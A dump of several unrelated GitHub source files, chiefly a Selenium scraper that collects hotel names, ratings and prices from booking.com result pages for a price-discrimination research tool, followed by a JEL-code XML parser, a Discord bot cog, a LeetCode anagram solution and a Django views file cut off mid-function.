except:\n\n # If the first attempt of automating the datepicker fails, try the\n # second alternative.\n logging.exception(\"Try second version of the datepicker.\")\n\n # Create the CSS selectors for the check-in date.\n cin_date_css_selector, cin_next_month_css_selector = \\\n self._get_mobile_datepicker_css_selectors(\n datepicker_class=\".checkin-active\",\n day=self.check_in_day,\n month=self.check_in_month,\n year=self.check_in_year\n )\n\n # Create the CSS selectors for the check-out date.\n cout_date_css_selector, cout_next_month_css_selector = \\\n self._get_mobile_datepicker_css_selectors(\n datepicker_class=\".checkout-active\",\n day=self.check_out_day,\n month=self.check_out_month,\n year=self.check_out_year\n )\n\n # set the dates via datepicker.\n check_in_div = driver.find_element_by_id(\"ci_date_field\")\n check_out_div = driver.find_element_by_id(\"co_date_field\")\n\n # open checkin datepicker\n check_in_div.click()\n\n status = Navigation.set_date_in_basic_datepicker(\n driver=driver,\n date_css_selector=cin_date_css_selector,\n next_month_css_selector=cin_next_month_css_selector,\n delay_before_date_click=2.5\n )\n\n if not status:\n raise PDFuzzExceptions.DateNotFoundException(\"Unable to find the given date: '{}'\".format(\n cin_date_css_selector\n ))\n\n time.sleep(2.5)\n\n # open checkout datepicker\n check_out_div.click()\n\n status = Navigation.set_date_in_basic_datepicker(\n driver=driver,\n date_css_selector=cout_date_css_selector,\n next_month_css_selector=cout_next_month_css_selector,\n delay_before_date_click=2.5\n )\n\n if not status:\n raise PDFuzzExceptions.DateNotFoundException(\"Unable to find the given date: '{}'\".format(\n cout_date_css_selector\n ))\n\n return travel_target_element\n\n def _set_rooms_and_adults_number(self, driver):\n # print(\"[DEBUG] Set room and adults\")\n # Handle the different cases of input form for rooms, adults and\n # children.\n try:\n\n try:\n # Look for room select.\n room_select = Select(driver.find_element_by_css_selector(\".b-form__group > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > label:nth-child(1) > select:nth-child(2)\"))\n\n except selenium.common.exceptions.NoSuchElementException:\n # Look for alternative room select.\n room_select = Select(driver.find_element_by_css_selector(\".js-sb_predefined_group_options_select\"))\n\n # Select advanced options to enable the selects for rooms,\n # adults and children.\n room_select.select_by_value(\"3\")\n\n except selenium.common.exceptions.NoSuchElementException:\n pass\n\n # Fill out the selects for room number and count of persons (adult, children)\n try:\n # Try to get the select for the number of rooms.\n # The mobile version does not have this select and the attempt to\n # access it will cause an error.\n number_rooms_select = Select(driver.find_element_by_name(\"no_rooms\"))\n number_rooms_select.select_by_value(self.number_of_single_rooms)\n except selenium.common.exceptions.UnexpectedTagNameException:\n # Ignore the error and go on because on mobile devices it is not\n # necessary to fill out the number of rooms.\n pass\n\n # Determine select fields.\n number_adults_select = \\\n Select(driver.find_element_by_name(\"group_adults\"))\n # number_children_select = \\\n # Select(driver.find_element_by_name(\"group_children\"))\n\n # Enter the number of adults.\n number_adults_select.select_by_value(self.number_of_adults)\n\n def _handle_target_input_concretion(self, driver):\n\n # Wait for target concretion.\n # At this point two cases need to be handled. Sometimes a different\n # page is passed back by the server. If the first (Normal) does not\n # match, the second (Fallback) will be used. Third case is Mobile.\n correction_selectors = [\n # (\"[OPTION] Normal\", \"div#cityWrapper > div\"),\n # (\"[OPTION] Normal\", \".cityWrapper .disname:first-of-type a.destination_name\"),\n (\"[OPTION] Normal\", \"div.disam-single-result:first-of-type .dismeta a > span\", 0),\n (\"[OPTION] Mobile\", \"ol#disamb > li:first-of-type > a\", 1),\n ]\n\n element = None\n successful_option = -1\n\n for debug_text, selector, status_code in correction_selectors:\n\n try:\n\n logging.debug(debug_text)\n element = Navigation.wait_for_the_presence_of_element(\n driver=driver,\n element_css_selector=selector,\n timeout=20\n )\n\n successful_option = status_code\n\n # driver.get_screenshot_as_file(\"{0}_booking_CORRECTION_navscraper.png\".format(time.time()))\n break\n\n except selenium.common.exceptions.TimeoutException:\n continue\n\n return element, successful_option\n\n\n def scrape_results(self, driver):\n ##\n # Extract hotel names and prices from the website.\n #\n # @param {selenium.webdriver} driver - Instance of a webdriver.\n #\n\n # print(\"## Taking Screenshot\")\n # driver.get_screenshot_as_file(\"{0}_booking_navscraper.png\".format(time.time()))\n\n logging.debug(\"## Scraping Data - booking\")\n hotel_results = []\n result_pages_limit = 20\n\n if self.SCRAPING_MODE == 0:\n\n logging.info(\"Using default scraper.\")\n hotel_results = self._default_scraper(\n driver=driver,\n result_pages_limit=result_pages_limit\n )\n\n if len(hotel_results) == 0:\n logging.debug(\"Default scraper did not work, try alternative default scraper.\")\n self.SCRAPING_MODE = 2\n\n\n if self.SCRAPING_MODE == 1:\n\n logging.info(\"Using mobile scraper.\")\n hotel_results = self._mobile_scraper(\n driver=driver,\n result_pages_limit=result_pages_limit\n )\n\n if self.SCRAPING_MODE == 2:\n\n logging.info(\"Using alternative default scraper.\")\n hotel_results = self._alternative_default_scraper(\n driver=driver,\n result_pages_limit=result_pages_limit\n )\n\n return hotel_results\n\n\n def _default_scraper(self, driver, result_pages_limit):\n ##\n # Extract hotel names and prices from the website.\n #\n # @param {selenium.webdriver} driver - Instance of a webdriver.\n # @param {int} result_pages_limit - Limit for next pages.\n #\n\n hotel_results = []\n page_counter = 0\n\n while True:\n\n driver.execute_script(\"window.scrollTo(0,document.body.scrollHeight);\")\n time.sleep(2)\n\n page_counter += 1\n logging.debug(\"Scraping page {0}\".format(page_counter))\n print(\"[DEBUG] Scraping page {0}\".format(page_counter))\n # driver.get_screenshot_as_file(\"booking_RESULTS_PAGE_{0}_navscraper.png\".format(page_counter))\n\n html_source = driver.page_source\n with open(\"booking_dump_page_{}.html\".format(page_counter), \"w\") as f:\n f.write(html_source.encode(\"utf-8\"))\n\n hotel_results_part = self._default_scraping_routine(page_source=html_source)\n hotel_results.extend(hotel_results_part)\n\n if len(hotel_results_part) > 1:\n second_hotel_name = hotel_results_part[1][\"name\"]\n else:\n second_hotel_name = \"\"\n\n print(\"[DEBUG] Number of Results: {0}\".format(len(hotel_results_part)))\n print(\"[DEBUG] Second hotel name: {0}\".format(second_hotel_name))\n\n try:\n # Pagination: Next Page\n next_page_element = driver.find_element_by_css_selector(\"div.results-paging > a.paging-next\")\n\n # Click on next page link\n next_page_element.click()\n logging.debug(\"Page_Next Button clicked.\")\n\n try:\n logging.debug(\"Start Waiting for next result page.\")\n # Wait for results.\n Navigation.wait_for_text_to_be_not_present_in_element(\n driver=driver,\n element_css_selector=\"div#hotellist_inner > div.sr_item:nth-of-type(2) a.hotel_name_link > .sr-hotel__name\",\n old_text=second_hotel_name,\n timeout=480\n )\n logging.debug(\"Next result page loaded.\")\n\n except selenium.common.exceptions.TimeoutException:\n # If no results were found.\n # End loop and return the current results.\n logging.exception(\"No updated results! Last hotel name from second position: '{}'\".format(second_hotel_name))\n break\n\n except selenium.common.exceptions.NoSuchElementException:\n # If no next page link was not found.\n # End loop and return the current results.\n logging.exception(\"No Next Link found!\")\n break\n\n except:\n # log unexpected errors while scraping\n # exc_type, exc_value = sys.exc_info()[:2]\n # print(\"Unexpected error: {}\".format(sys.exc_info()[0]))\n logging.exception(\"Unexpected error:\")\n\n if page_counter >= result_pages_limit:\n # If the limit is reached.\n # End loop and return the current results.\n break\n\n return hotel_results\n\n def _default_scraping_routine(self, page_source):\n ##\n # ...\n #\n # @param {string} page_source - ...\n #\n # @return {list}\n #\n\n # regex_price = re.compile(\"([0-9]+[ .])*[0-9]+\")\n\n hotel_results = []\n soup = bs4.BeautifulSoup(page_source, 'html.parser')\n\n # Get search information for debug output.\n search_info = number_of_nights = None\n breadcrumb_divs = soup.select(\"#breadcrumb > div\")\n if len(breadcrumb_divs) > 0:\n # take the last div in the breadcrumb and find the span tag.\n search_info_span = breadcrumb_divs[-1].select(\"span\")\n if len(search_info_span) > 0:\n search_target_adults = search_info_span[0].contents[1].string.encode(\"utf-8\").strip()\n search_nights = search_info_span[0].contents[2].string.encode(\"utf-8\").strip()\n search_dates = search_info_span[0].contents[3].string.encode(\"utf-8\").strip()\n\n search_info = \"{} {} {}\".format(\n search_target_adults,\n search_nights,\n search_dates\n )\n\n # Determine the number of nights.\n number_of_nights = \\\n int(re.search(\"[0-9]+\", search_nights).group())\n\n else:\n # Fallback: Calculate nights by the use of the dates\n search_info = \"[EMPTY]\"\n cin = datetime.date(\n int(self.check_in_year),\n int(self.check_in_month),\n int(self.check_in_day)\n )\n cout = datetime.date(\n int(self.check_out_year),\n int(self.check_out_month),\n int(self.check_out_day)\n )\n delta = cout - cin\n number_of_nights = delta.days\n\n hotellist_items = soup.select(\"#hotellist_inner > div.sr_item\")\n\n for div in hotellist_items:\n hotelname = number_of_nights_text = price = price_text = \\\n currency_code = rating_value = rating_unit = price_norm = None\n\n # determine name of hotel\n a_name = div.select(\"a.hotel_name_link > .sr-hotel__name\")\n if len(a_name) > 0:\n hotelname = list(a_name[0].strings)[-1].encode(\"utf-8\").strip()\n\n # Extract rating information (stars, circles)\n rating_element = div.select(\".star_track\")\n if len(rating_element) > 0:\n rating_element = rating_element[0]\n rating_element_classes = rating_element.get(\"class\")\n\n # Determine if the rating unit is stars or circles.\n if \"ratings_circles_any\" in rating_element_classes:\n rating_unit = \"circles\"\n class_prefix = \"ratings_circles_\"\n else:\n rating_unit = \"stars\"\n class_prefix = \"ratings_stars_\"\n\n # Iterate over classes and extract the number of stars/circles\n # out of the class.\n for re_class in rating_element_classes:\n if re_class.startswith(class_prefix) and \\\n re_class[-1].isdigit():\n rating_value = float(re_class[len(class_prefix):])\n break\n\n else:\n # Rating of zero stars/circles.\n rating_value = 0.0\n rating_unit = None\n\n # extract price.\n b_price = div.select(\"td.roomPrice strong.price > b\")\n if len(b_price) > 0:\n price_text = b_price[0].string.encode(\"utf-8\").strip()\n\n # split price and currency.\n price, currency = \\\n CurrencyConverter.split_price_and_currency(\n price_text=price_text\n )\n\n currency_code = \\\n CurrencyConverter.get_currency_code_of_sign(\n currency_sign=currency\n )\n\n # get the normalized price from the api function\n price_norm = CurrencyConverter.get_normalized_price(\n price=price,\n currency_code=currency_code\n )\n\n # DEBUG\n if price_norm is not None and price_norm < 4:\n logging.debug(\"[LOW_PRICE_BUG] Strange low price:\\n{text}\\n{bytes}\".format(\n text=price_text, bytes=price_text.encode(\"hex\")))\n\n # determine the number of nights the extracted price stands for.\n span_price_for_x_nights = div.select(\".price_for_x_nights_format\")\n if len(span_price_for_x_nights) > 0:\n number_of_nights_text = \\\n span_price_for_x_nights[0].string.encode(\"utf-8\").strip()\n else:\n number_of_nights_text = \"[EMPTY]\"\n\n print(\"Name: {} ; Price: {} ; Nights: {}\".format(\n hotelname, price, number_of_nights\n ))\n\n if hotelname is not None and price is not None and \\\n number_of_nights is not None:\n\n if price_norm is not None:\n # calc price for one night\n price_norm = round(price_norm / number_of_nights, 2)\n\n hotel_results.append({\n \"name\": hotelname,\n \"price\": price,\n \"currency\": currency_code,\n \"price_norm\": price_norm,\n \"number_of_nights\": number_of_nights,\n \"rating_value\": rating_value,\n \"rating_unit\": rating_unit,\n \"access_time\": time.strftime(\"%d-%m-%Y %H:%M:%S\", time.gmtime()),\n \"debug\": {\n \"price_text\": price_text,\n \"number_of_nights_text\": number_of_nights_text,\n \"search_info\": search_info,\n },\n })\n\n return hotel_results\n\n def _alternative_default_scraper(self, driver, result_pages_limit):\n ##\n # Extract hotel names and prices from the website.\n #\n # @param {selenium.webdriver} driver - Instance of a webdriver.\n # @param {int} result_pages_limit - Limit for next pages.\n #\n\n hotel_results = []\n page_counter = 0\n\n while True:\n\n page_counter += 1\n # print(\"[DEBUG] Scraping page {0}\".format(page_counter))\n # driver.get_screenshot_as_file(\"booking_RESULTS_PAGE_{0}_navscraper.png\".format(page_counter))\n\n html_source = driver.page_source\n hotel_results_part = self._alternative_default_scraping_routine(page_source=html_source)\n hotel_results.extend(hotel_results_part)\n\n if len(hotel_results_part) > 1:\n second_hotel_name = hotel_results_part[1][\"name\"]\n else:\n second_hotel_name = \"\"\n\n try:\n # Pagination: Next Page\n next_page_element = driver.find_element_by_css_selector(\"div.results-paging > a.paging-next\")\n\n # Click on next page link\n next_page_element.click()\n\n try:\n # Wait for results.\n Navigation.wait_for_text_to_be_not_present_in_element(\n driver=driver,\n element_css_selector=\"#search_results_table > .hotel-newlist:nth-of-type(2) .title_fix > a.hotel_name_link\",\n old_text=second_hotel_name\n )\n\n except selenium.common.exceptions.TimeoutException:\n # If no results were found.\n # End loop and return the current results.\n logging.exception(\"No updated results! Last hotel name from second position: '{}'\".format(second_hotel_name))\n break\n\n except selenium.common.exceptions.NoSuchElementException:\n # If no next page link was not found.\n # End loop and return the current results.\n logging.exception(\"No Next Link found!\")\n break\n\n except:\n # log unexpected errors while scraping\n # exc_type, exc_value = sys.exc_info()[:2]\n # print(\"Unexpected error: {}\".format(sys.exc_info()[0]))\n logging.exception(\"Unexpected error:\")\n\n if page_counter >= result_pages_limit:\n # If the limit is reached.\n # End loop and return the current results.\n break\n\n return hotel_results\n\n def _alternative_default_scraping_routine(self, page_source):\n ##\n # ...\n #\n # @param {string} page_source - ...\n #\n # @return {list}\n #\n\n logging.debug(\"[ALT-SCRAPER] Access Scraping routine.\")\n # regex_price = re.compile(\"([0-9]+[ .])*[0-9]+\")\n\n hotel_results = []\n soup = bs4.BeautifulSoup(page_source, 'html.parser')\n\n # Get search information for debug output.\n search_info = number_of_nights = None\n breadcrumb_divs = soup.select(\"#breadcrumb > div\")\n if len(breadcrumb_divs) > 0:\n # take the last div in the breadcrumb and find the span tag.\n search_info_span = breadcrumb_divs[-1].select(\"span\")\n if len(search_info_span) > 0:\n search_target_adults = search_info_span[0].contents[1].string.encode(\"utf-8\").strip()\n search_nights = search_info_span[0].contents[2].string.encode(\"utf-8\").strip()\n search_dates = search_info_span[0].contents[3].string.encode(\"utf-8\").strip()\n\n search_info = \"{} {} {}\".format(search_target_adults, search_nights, search_dates)\n\n # Determine the number of nights.\n number_of_nights = int(re.search(\"[0-9]+\", search_nights).group())\n\n else:\n # Fallback: Calculate nights by the use of the dates\n search_info = \"[EMPTY]\"\n cin = datetime.date(int(self.check_in_year), int(self.check_in_month), int(self.check_in_day))\n cout = datetime.date(int(self.check_out_year), int(self.check_out_month), int(self.check_out_day))\n delta = cout - cin\n number_of_nights = delta.days\n\n logging.debug(\"[ALT-SCRAPER] Getting hotel list.\")\n hotellist_items = soup.select(\"#search_results_table > .hotel-newlist\")\n logging.debug(\"[ALT-SCRAPER] Iterate over hotel list.\")\n for div in hotellist_items:\n hotelname = number_of_nights_text = price = price_text = currency_code = \\\n rating_value = rating_unit = price_norm = location = None\n\n # determine name of hotel\n a_name = div.select(\".title_fix > a.hotel_name_link\")\n if len(a_name) > 0:\n hotelname = list(a_name[0].strings)[-1].encode(\"utf-8\").strip()\n\n # Extract location.\n location_element = div.select(\".address a\")\n if len(location_element) > 0:\n location = location_element[0].get(\"data-coords\")\n\n # Extract rating information (stars, circles)\n rating_element = div.select(\".nowrap > span:nth-of-type(1)\")\n if len(rating_element) > 0:\n rating_element = rating_element[0]\n rating_element_classes = rating_element.get(\"class\")\n\n # Determine if the rating unit is stars or circles.\n if \"retina_estimated\" in rating_element_classes:\n rating_unit = \"circles\"\n class_prefix = \"retina_stars_\"\n else:\n rating_unit = \"stars\"\n class_prefix = \"retina_stars_\"\n\n # Iterate over classes and extract the number of stars/circles out of\n # the class.\n for re_class in rating_element_classes:\n if re_class.startswith(class_prefix) and re_class[-1].isdigit():\n rating_value = float(re_class[len(class_prefix):])\n break\n\n else:\n # Rating of zero stars/circles.\n rating_value = 0.0\n rating_unit = None\n\n # extract price.\n b_price = div.select(\"td.roomPrice .price.big-price\")\n if len(b_price) > 0:\n price_text = b_price[0].string.encode(\"utf-8\").strip()\n\n # split price and currency.\n price, currency = \\\n CurrencyConverter.split_price_and_currency(price_text=price_text)\n\n currency_code = \\\n CurrencyConverter.get_currency_code_of_sign(currency_sign=currency)\n\n # get the normalized price from the api function\n price_norm = CurrencyConverter.get_normalized_price(\n price=price,\n currency_code=currency_code\n )\n\n # DEBUG\n if price_norm is not None and price_norm < 4:\n logging.debug(\"[LOW_PRICE_BUG] Strange low price:\\n{text}\\n{bytes}\".format(\n text=price_text, bytes=price_text.encode(\"hex\")))\n\n # determine the number of nights the extracted price stands for.\n span_price_for_x_nights = div.select(\".price_for_x_nights_format\")\n if len(span_price_for_x_nights) > 0:\n number_of_nights_text = span_price_for_x_nights[0].string.encode(\"utf-8\").strip()\n else:\n number_of_nights_text = \"[EMPTY]\"\n\n logging.debug(\"Hotelname: {} ; Price: {} ; number_of_nights: {} ; Rating: {} {}\".format(\n hotelname,\n price,\n number_of_nights,\n rating_value,\n rating_unit\n ))\n if hotelname is not None and price is not None and \\\n number_of_nights is not None:\n\n if price_norm is not None:\n # calc price for one night\n price_norm = round(price_norm / number_of_nights, 2)\n\n hotel_results.append({\n \"name\": hotelname,\n \"location\": location,\n \"price\": price,\n \"currency\": currency_code,\n \"price_norm\": price_norm,\n \"number_of_nights\": number_of_nights,\n \"rating_value\": rating_value,\n \"rating_unit\": rating_unit,\n \"access_time\": time.strftime(\"%d-%m-%Y %H:%M:%S\", time.gmtime()),\n \"debug\": {\n \"price_text\": price_text,\n \"number_of_nights_text\": number_of_nights_text,\n \"search_info\": search_info,\n },\n })\n\n return hotel_results\n\n\n def _mobile_scraper(self, driver, result_pages_limit):\n ##\n # Extract hotel names and prices from the mobile version of the website.\n #\n # @param {selenium.webdriver} driver - Instance of a webdriver.\n # @param {int} result_pages_limit - Limit for next pages.\n #\n\n hotel_results = []\n page_counter = 0\n\n while True:\n\n page_counter += 1\n # print(\"[DEBUG] Scraping page {0}\".format(page_counter))\n # driver.get_screenshot_as_file(\"booking_RESULTS_PAGE_{0}_navscraper.png\".format(page_counter))\n\n html_source = driver.page_source\n hotel_results_part = self._mobile_scraping_routine(page_source=html_source)\n hotel_results.extend(hotel_results_part)\n\n if len(hotel_results_part) > 1:\n second_hotel_name = hotel_results_part[1][\"name\"]\n else:\n second_hotel_name = \"\"\n\n try:\n # Pagination: Next Page\n pagination_next_selectors = [\n \"li.pagination_next > a#sr_link_next > span\",\n \".sr-pagination a.sr-pagination--item__next\",\n ]\n for page_next_index, page_next_selector in enumerate(pagination_next_selectors):\n # Try the various pagination next CSS selectors.\n try:\n next_page_element = driver.find_element_by_css_selector(page_next_selector)\n # Click on next page link\n next_page_element.click()\n break\n\n except selenium.common.exceptions.NoSuchElementException:\n\n if page_next_index == (len(pagination_next_selectors) - 1):\n # If no page next selector was successful, raise\n # the exception to end the scraping procedure.\n raise\n\n try:\n # Wait for results.\n Navigation.wait_for_text_to_be_not_present_in_element(\n driver=driver,\n element_css_selector=\"div#srList ol#sr li.sr_simple_card:nth-of-type(2) h3.sr_simple_card_hotel_name\",\n old_text=second_hotel_name\n )\n\n except selenium.common.exceptions.TimeoutException:\n # If no results were found.\n # End loop and return the current results.\n break\n\n except selenium.common.exceptions.NoSuchElementException:\n # If no next page link was not found.\n # End loop and return the current results.\n break\n\n except:\n # log unexpected errors while scraping\n # exc_type, exc_value = sys.exc_info()[:2]\n # print(\"Unexpected error: {}\".format(sys.exc_info()[0]))\n logging.exception(\"Unexpected error:\")\n\n if page_counter >= result_pages_limit:\n # If the limit is reached.\n # End loop and return the current results.\n break\n\n return hotel_results\n\n\n def _mobile_scraping_routine(self, page_source):\n ##\n # ...\n #\n # @param {string} page_source - ...\n #\n # @return {list}\n #\n\n hotel_results = []\n soup = bs4.BeautifulSoup(page_source, 'html.parser')\n\n # Get search information for debug output.\n search_info = number_of_nights = None\n # breadcrumb_divs = soup.select(\"#breadcrumb > div\")\n # if len(breadcrumb_divs) > 0:\n # # take the last div in the breadcrumb and find the span tag.\n # search_info_span = breadcrumb_divs[-1].select(\"span\")\n # if len(search_info_span) > 0:\n # search_target_adults = search_info_span[0].contents[1].string.encode(\"utf-8\").strip()\n # search_nights = search_info_span[0].contents[2].string.encode(\"utf-8\").strip()\n # search_dates = search_info_span[0].contents[3].string.encode(\"utf-8\").strip()\n\n # search_info = \"{} {} {}\".format(search_target_adults, search_nights, search_dates)\n\n # # Determine the number of nights.\n # number_of_nights = int(re.search(\"[0-9]+\", search_nights).group())\n\n # else:\n # Fallback: Calculate nights by the use of the dates\n search_info = \"[EMPTY]\"\n cin = datetime.date(int(self.check_in_year), int(self.check_in_month), int(self.check_in_day))\n cout = datetime.date(int(self.check_out_year), int(self.check_out_month), int(self.check_out_day))\n delta = cout - cin\n number_of_nights = delta.days\n\n\n hotellist_items = soup.select(\"div#srList ol#sr li.sr_simple_card\")\n\n for li_sr in hotellist_items:\n hotelname = number_of_nights_text = price = price_text = currency_code = \\\n rating_value = rating_unit = price_norm = None\n\n # determine name of hotel\n h3_name = li_sr.find_all(\"h3\", {\"class\": \"sr_simple_card_hotel_name\"})\n if len(h3_name) > 0:\n hotelname = h3_name[0].string.encode(\"utf-8\").strip()\n\n # Extract rating information. (stars, circles)\n # Check if the rating unit is stars.\n stars_list = li_sr.select(\".m-badge > i.bicon-acstar\")\n if len(stars_list) > 0:\n rating_value = len(stars_list)\n rating_unit = \"stars\"\n else:\n # Check if the rating unit is circles.\n circles_list = li_sr.select(\".m-badge > i.bicon-circle\")\n if len(circles_list) > 0:\n rating_value = len(circles_list)\n rating_unit = \"circles\"\n else:\n rating_value = 0.0\n rating_unit = None\n\n # Extract price of the hotel.\n price_element = li_sr.select(\"div.sr-card__item--strong.sr-card__item--large\")\n if len(price_element) > 0:\n price_text = list(price_element[0].strings)[0].encode(\"utf-8\").strip()\n else:\n # Try alternative price representation.\n price_element = li_sr.find_all(\"span\", {\"class\": \"sr_simple_card_price_cheapest_price\"})\n if len(price_element) > 0:\n price_text = list(price_element[0].strings)[0].encode(\"utf-8\").strip()\n\n if price_text is not None:\n\n # split price and currency.\n price, currency = \\\n CurrencyConverter.split_price_and_currency(price_text=price_text)\n\n currency_code = \\\n CurrencyConverter.get_currency_code_of_sign(currency_sign=currency)\n\n # get the normalized price from the api function\n price_norm = CurrencyConverter.get_normalized_price(\n price=price,\n currency_code=currency_code\n )\n\n # DEBUG\n if price_norm is not None and price_norm < 4:\n logging.debug(\"[LOW_PRICE_BUG] Strange low price:\\n{text}\\n{bytes}\".format(\n text=price_text, bytes=price_text.encode(\"hex\")))\n\n # determine the number of nights the extracted price stands for.\n # span_price_for_x_nights = li_sr.select(\".price_for_x_nights_format\")\n # if len(span_price_for_x_nights) > 0:\n # number_of_nights_text = span_price_for_x_nights[0].string.encode(\"utf-8\").strip()\n # else:\n number_of_nights_text = \"[EMPTY]\"\n\n if hotelname is not None and price is not None and \\\n number_of_nights is not None:\n\n if price_norm is not None:\n # calc price for one night\n price_norm = round(price_norm / number_of_nights, 2)\n\n hotel_results.append({\n \"name\": hotelname,\n \"price\": price,\n \"currency\": currency_code,\n \"price_norm\": price_norm,\n \"number_of_nights\": number_of_nights,\n \"rating_value\": rating_value,\n \"rating_unit\": rating_unit,\n \"access_time\": time.strftime(\"%d-%m-%Y %H:%M:%S\", time.gmtime()),\n \"debug\": {\n \"price_text\": price_text,\n \"number_of_nights_text\": number_of_nights_text,\n \"search_info\": search_info,\n },\n })\n\n return hotel_results\n\n\n def _get_mobile_datepicker_css_selectors(self, datepicker_class, day, month, year):\n ##\n #\n #\n # @param {string} datepicker_css_selector - CSS selector for the datepicker.\n # @param {int} day - Day of the date.\n # @param {int} month - Month of the date.\n # @param {int} year - Year of the date.\n #\n # @return {string}, {string}\n #\n\n day = int(day)\n month = int(month) - 1\n year = int(year)\n\n date_css_selector = \\\n \"{datepicker_class} td button[data-pika-day=\\\"{day}\\\"][data-pika-month=\\\"{month}\\\"][data-pika-year=\\\"{year}\\\"]\".format(\n datepicker_class=datepicker_class,\n day=day,\n month=month,\n year=year\n )\n\n next_month_css_selector = \\\n \"{datepicker_class} button.pika-next\".format(datepicker_class=datepicker_class)\n\n\n return date_css_selector, next_month_css_selector\n\n\n def _get_default_datepicker_css_selectors(self, datepicker_class, day, month, year):\n ##\n #\n #\n # @param {string} datepicker_css_selector - CSS selector for the datepicker.\n # @param {int} day - Day of the date.\n # @param {int} month - Month of the date.\n # @param {int} year - Year of the date.\n #\n # @return {string}, {string}\n #\n\n day = int(day)\n month = int(month) - 1\n year = int(year)\n\n date_css_selector = \\\n \"{datepicker_class} span[data-day=\\\"{day}\\\"][data-month=\\\"{month}\\\"][data-year=\\\"{year}\\\"]\".format(\n datepicker_class=datepicker_class,\n day=day,\n month=month,\n year=year\n )\n\n next_month_css_selector = None\n\n return date_css_selector, next_month_css_selector\n","repo_name":"RUB-SysSec/PriDi","sub_path":"tool-pdfuzz/pdfuzz/config/navscrapers/booking_navscraper.py","file_name":"booking_navscraper.py","file_ext":"py","file_size_in_byte":56583,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"69"} +{"seq_id":"41698657499","text":"from collections import defaultdict\nimport requests\nfrom xml.etree import ElementTree\nimport pandas as pd\n\ndef etree_to_dict(t):\n d = {t.tag: {} if t.attrib else None}\n children = list(t)\n if children:\n dd = defaultdict(list)\n for dc in map(etree_to_dict, children):\n for k, v in dc.items():\n dd[k].append(v)\n d = {t.tag: {k: v[0] if len(v) == 1 else v\n for k, v in dd.items()}}\n if t.attrib:\n d[t.tag].update(('@' + k, v)\n for k, v in t.attrib.items())\n if t.text:\n text = t.text.strip()\n if children or t.attrib:\n if text:\n d[t.tag]['#text'] = text\n else:\n d[t.tag] = text\n return d\n\n\ndef prepare_jel_description():\n response = requests.get(\"https://www.aeaweb.org/econlit/classificationTree.xml\")\n tree = ElementTree.fromstring(response.content)\n d = etree_to_dict(tree)\n d3 = [[d2['classification'], d2[\"code\"], d2[\"description\"]]\n for d1 in d['data']['classification'] for d2 in d1['classification']]\n d3 = [[d_[\"code\"], d_[\"description\"], d2c, d2d]\n for d__, d2c, d2d in d3 for d_ in d__ if isinstance(d_, dict)]\n jel_des = pd.DataFrame(d3, columns=[\"jel\", \"des\", \"d2c\", \"d2d\"])\n jel_des = jel_des.set_index(\"jel\")\n return jel_des\n\ndef main():\n jel_des = prepare_jel_description()\n jel_des.to_csv(\"../Data/jel_des.csv\")\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"Alalalalaki/Econ-JEL-Match","sub_path":"Code/jel.py","file_name":"jel.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"34276436397","text":"import discord\nfrom discord.ui import Select ,View\nfrom discord.ext import commands\nfrom random import randint\nimport os\n\n\nclass CommandSelect():\n \n \n def __init__(self,reponse,channel : discord.channel,text):\n self.response = reponse\n self.channel = channel\n self.commands = {\n \"selamlama1\":channel.send(self.response),\n \"selamlasma\":channel.send(self.response),\n \"yaş1\":channel.send(self.response)\n }\n self.text = text\n \n def getfunc(self):\n if self.text in self.commands.keys():\n return self.commands.get(self.text)\n else:\n return self.channel.send(\"Bilinmeyen komut ya da tepki !\")\n \n\n \n\n\nclass NLP(commands.Cog):\n def __init__(self,bot):\n self.bot = bot\n \n \n @commands.Cog.listener()\n async def on_message(self,message):\n \n \n if message.channel == self.bot.guilds[0].text_channels[6] and not message.author.bot and not message.content.startswith(\"!bot\"):\n textString = message.content\n response = randint(1,100)\n #response ve tag'i dictionary içindeki komutları editlemek için kullanıyorum\n command = CommandSelect(response,message.channel,textString)\n await command.getfunc()\n \n \n # await message.channel.send(textString) \n \n \n\n\ndef setup(bot):\n bot.add_cog(NLP(bot))","repo_name":"talha-inozu/Discord-Bot","sub_path":"cogs/nlp.py","file_name":"nlp.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"71966794781","text":"class Solution:\n def isAnagram(self, s: str, t: str) -> bool:\n if len(s) != len(t):\n return False\n\n mapA, mapB = {}, {}\n for i in range(len(s)):\n letterA = s[i]\n letterB = t[i]\n mapA[letterA] = 1 + mapA.get(letterA, 0)\n mapB[letterB] = 1 + mapB.get(letterB, 0)\n\n for i in mapA.keys():\n if mapA[i] != mapB.get(i, 0):\n return False\n\n return True\n\n\n\ns = Solution()\nprint(s.isAnagram(\"anagram\",\"nagaram\"))","repo_name":"cayomesquita/challenge","sub_path":"java/src/main/java/org/cayo/leetcode/n242ValidAnagram/Solution242.py","file_name":"Solution242.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"37887376779","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.contrib.auth.decorators import login_required\nfrom .models import Board\nfrom .forms import BoardForm\nfrom accounts.forms import RegistrationForm\nfrom accounts.models import Profile\nimport openpyxl\n\ndef index(request):\n boards=Board.objects.all()[::-1]\n return render(request, 'boards/index.html', {'boards':boards})\n\n@login_required\ndef create(request):\n if request.method == \"POST\":\n form = BoardForm(request.POST)\n if form.is_valid():\n # #cleanded_data-> dictionary 자료형으��� 만들어줌(get을 사용할수 ㅇㅆ음)\n # title = form.cleaned_data.get('title')\n # content = form.cleaned_data.get('content')\n # board = Board.objects.create(title=title, content=content)\n board=form.save()\n return redirect('boards:detail', board.pk)\n \n else:\n form = BoardForm()\n return render(request, 'boards/form.html', {'form':form})\n # valid한 요청이 아닌 경우와 POST요청이 아닌 모든 경우를 return 하기 위해서 이렇게 작성\n \ndef detail(request, board_pk):\n board=get_object_or_404(Board, pk=board_pk)\n \n return render(request, 'boards/detail.html',{'board':board})\n\ndef delete(request, board_pk):\n board=get_object_or_404(Board, pk=board_pk)\n if request.method == 'POST':\n board.delete()\n return redirect('boards:index')\n else:\n return redirect('boards:detail', board.pk)\n\n@login_required\ndef update(request, board_pk):\n board = get_object_or_404(Board, pk=board_pk)\n if 